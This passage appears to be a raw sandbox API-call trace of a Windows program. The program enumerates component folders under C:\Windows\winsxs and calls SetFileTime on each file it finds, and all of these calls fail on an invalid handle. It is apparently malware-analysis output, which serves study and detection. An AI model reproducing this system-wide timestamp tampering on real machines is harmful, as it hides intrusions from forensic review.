returned="wizardInit.ascx" [0165.794] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.794] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.794] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.794] CloseHandle (hObject=0xffffffff) returned 0 [0165.794] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.795] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\wizardPermission.ascx") returned="wizardPermission.ascx" [0165.795] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" [0165.795] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_b03f5f7f11d50a3a_6.1.7600.16385_none_f3ab6fef34443b5c\\") returned="" [0165.795] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.795] CloseHandle (hObject=0xffffffff) returned 0 [0165.797] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1") returned -1 [0165.797] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1") returned -1 [0165.797] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.797] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1139bf1e, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113c2078, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113c2078, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.799] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.799] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.799] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.800] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.800] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\*.*") returned="*.*" [0165.800] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.800] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.800] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.800] CloseHandle (hObject=0xffffffff) returned 0 [0165.801] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.801] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\confirmation.ascx.resx") returned="confirmation.ascx.resx" [0165.801] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.801] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.801] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.802] CloseHandle (hObject=0xffffffff) returned 0 [0165.802] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.802] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizard.aspx.resx") returned="wizard.aspx.resx" [0165.802] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.802] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.803] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.803] CloseHandle (hObject=0xffffffff) returned 0 [0165.803] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.803] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizardAddUser.ascx.resx") returned="wizardAddUser.ascx.resx" [0165.803] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.803] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.804] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.804] CloseHandle (hObject=0xffffffff) returned 0 [0165.804] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.804] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizardAuthentication.ascx.resx") returned="wizardAuthentication.ascx.resx" [0165.804] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.805] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.805] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.805] CloseHandle (hObject=0xffffffff) returned 0 [0165.805] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.805] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizardCreateRoles.ascx.resx") returned="wizardCreateRoles.ascx.resx" [0165.805] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.806] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.806] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.806] CloseHandle (hObject=0xffffffff) returned 0 [0165.806] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.807] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizardFinish.ascx.resx") returned="wizardFinish.ascx.resx" [0165.807] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.807] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.807] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.807] CloseHandle (hObject=0xffffffff) returned 0 [0165.807] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.808] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizardInit.ascx.resx") returned="wizardInit.ascx.resx" [0165.808] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.808] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.808] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.808] CloseHandle (hObject=0xffffffff) returned 0 [0165.809] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.809] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\wizardPermission.ascx.resx") returned="wizardPermission.ascx.resx" [0165.809] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" [0165.809] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_wizard_res_b03f5f7f11d50a3a_6.1.7600.16385_none_325c9d528a9569f1\\") returned="" [0165.809] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.809] CloseHandle (hObject=0xffffffff) returned 0 [0165.811] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385") returned -1 [0165.811] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385") returned -1 [0165.811] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.811] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113c2078, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113c2078, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113c2078, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.813] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.813] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.814] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.814] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.814] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\*.*") returned="*.*" [0165.814] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\" [0165.814] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\") returned="" [0165.815] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.815] CloseHandle (hObject=0xffffffff) returned 0 [0165.815] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.816] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\InstallWebEventSqlProvider.sql") returned="InstallWebEventSqlProvider.sql" [0165.816] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\" [0165.816] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webevent_sqlprov_b03f5f7f11d50a3a_6.1.7600.16385_none_300e525db1075385\\") returned="" [0165.816] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.816] CloseHandle (hObject=0xffffffff) returned 0 [0165.823] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b") returned -1 [0165.823] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b") returned -1 [0165.823] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.824] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113c2078, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113c2078, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113c2078, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.824] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.824] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.825] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.825] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.825] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\*.*") returned="*.*" [0165.825] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\" [0165.825] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_fdc4e077981f868b\\") returned="" [0165.825] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.826] CloseHandle (hObject=0xffffffff) returned 0 [0165.826] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a") returned -1 [0165.826] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a") returned -1 [0165.826] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.826] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113c2078, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113c2078, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x113c2078, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.827] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.827] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.827] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.827] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.827] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\*.*") returned="*.*" [0165.828] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\" [0165.828] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmedtrust_config_b03f5f7f11d50a3a_6.1.7600.16385_none_b93ccc9cc4c70a9a\\") returned="" [0165.828] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.828] CloseHandle (hObject=0xffffffff) returned 0 [0165.828] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65") returned -1 [0165.828] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65") returned -1 [0165.829] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.829] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webmintrust_cfg_dflt_b03f5f7f11d50a3a_6.1.7600.16385_none_b3ff7f6b81a93d65\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x113c2078, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x113c2078, 